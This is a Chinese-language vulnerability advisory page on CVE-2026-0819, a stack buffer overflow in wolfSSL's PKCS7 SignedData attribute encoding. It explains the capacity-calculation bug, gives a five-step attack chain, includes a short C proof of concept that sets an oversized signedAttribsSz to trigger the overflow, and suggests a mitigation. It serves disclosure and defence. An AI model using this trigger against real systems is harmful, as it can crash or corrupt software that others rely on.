IPBUF安全漏洞报告
English
CVE-2026-0819 CVSS 7.1 高危

CVE-2026-0819 wolfSSL PKCS7栈缓冲区溢出漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-0819
漏洞类型
栈缓冲区溢出
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
wolfSSL

相关标签

wolfSSLPKCS7栈溢出缓冲区溢出CVE-2026-0819

漏洞概述

wolfSSL的PKCS7 SignedData编码功能中存在栈缓冲区溢出漏洞。在`wc_PKCS7_BuildSignedAttributes`函数中,代码错误地将已用容量值而非剩余可用空间传递给`EncodeAttributes`。当应用允许不受信任输入控制签名属性大小时,会导致越界写入,引发栈或堆内存损坏。

技术细节

该漏洞源于wolfSSL源码中`wc_PKCS7_BuildSignedAttributes()`函数的逻辑错误。该函数内部使用固定大小的数组`signedAttribs[7]`来存储签名属性。在调用`EncodeAttributes()`时,代码错误地传入了`esd->signedAttribsCount`(当前已用数量)作为容量参数,而非数组剩余空间(即`7 - count`)。当应用程序调用`wc_PKCS7_EncodeSignedData()`时,若允许攻击者通过不受信任输入控制`pkcs7->signedAttribsSz`并使其超过剩余空间,`EncodeAttributes()`将向数组边界之外写入数据,导致栈缓冲区溢出。在`WOLFSSL_SMALL_STACK`构建配置下,由于栈空间受限,相关数据分配在堆上,因此表现为堆损坏。

攻击链分析

STEP 1
步骤1
攻击者识别出目标应用程序使用了wolfSSL库,并且该应用程序暴露了PKCS7签名功能接口。
STEP 2
步骤2
攻击者向应用程序发送特制的数据包,其中包含恶意的参数,旨在将`pkcs7->signedAttribsSz`设置为一个大于`MAX_SIGNED_ATTRIBS_SZ`(默认7)的值。
STEP 3
步骤3
应用程序处理该输入并调用`wc_PKCS7_EncodeSignedData()`函数进行签名操作。
STEP 4
步骤4
在内部调用`wc_PKCS7_BuildSignedAttributes()`时,由于错误的容量计算,`EncodeAttributes()`函数向固定大小的数组`signedAttribs[7]`之外写入数据。
STEP 5
步骤5
触发栈缓冲区溢出(或堆损坏),导致程序崩溃,或在特定条件下实现任意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-0819 * Conceptual demonstration of triggering the buffer overflow. * This requires a wolfSSL environment and proper context setup. */ #include <wolfssl/options.h> #include <wolfssl/wolfcrypt/pkcs7.h> #include <wolfssl/wolfcrypt/asn.h> #include <stdio.h> int main() { int ret; byte der[1024]; int derSz = sizeof(der); // Initialize PKCS7 structure (Context setup required in real env) PKCS7* pkcs7 = wc_PKCS7_New(NULL, INVALID_DEVID); if (!pkcs7) { printf("Failed to init PKCS7\n"); return -1; } // Vulnerability Trigger: // MAX_SIGNED_ATTRIBS_SZ is 7. Setting a size larger than available space // causes EncodeAttributes to write beyond signedAttribs[7] boundaries. // In a real scenario, this value comes from untrusted input. pkcs7->signedAttribsSz = 100; // The encoding process calls wc_PKCS7_BuildSignedAttributes internally. // This triggers the stack/heap corruption. ret = wc_PKCS7_EncodeSignedData(pkcs7, der, &derSz); if (ret < 0) { printf("Encode failed/crashed as expected: %d\n", ret); } else { printf("Encoding succeeded (unexpected)\n"); } wc_PKCS7_Free(pkcs7); return 0; }

影响范围

wolfSSL (具体受影响版本请参考官方安全公告及PR #9630)

防御指南

临时缓解措施
建议在调用`wc_PKCS7_EncodeSignedData`相关函数之前,在应用程序代码中添加校验逻辑,确保`pkcs7->signedAttribsSz`的值加上默认属性数量不超过`MAX_SIGNED_ATTRIBS_SZ`(通常为7)。此外,应避免直接使用不受信任的外部输入来控制签名属性的大小。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表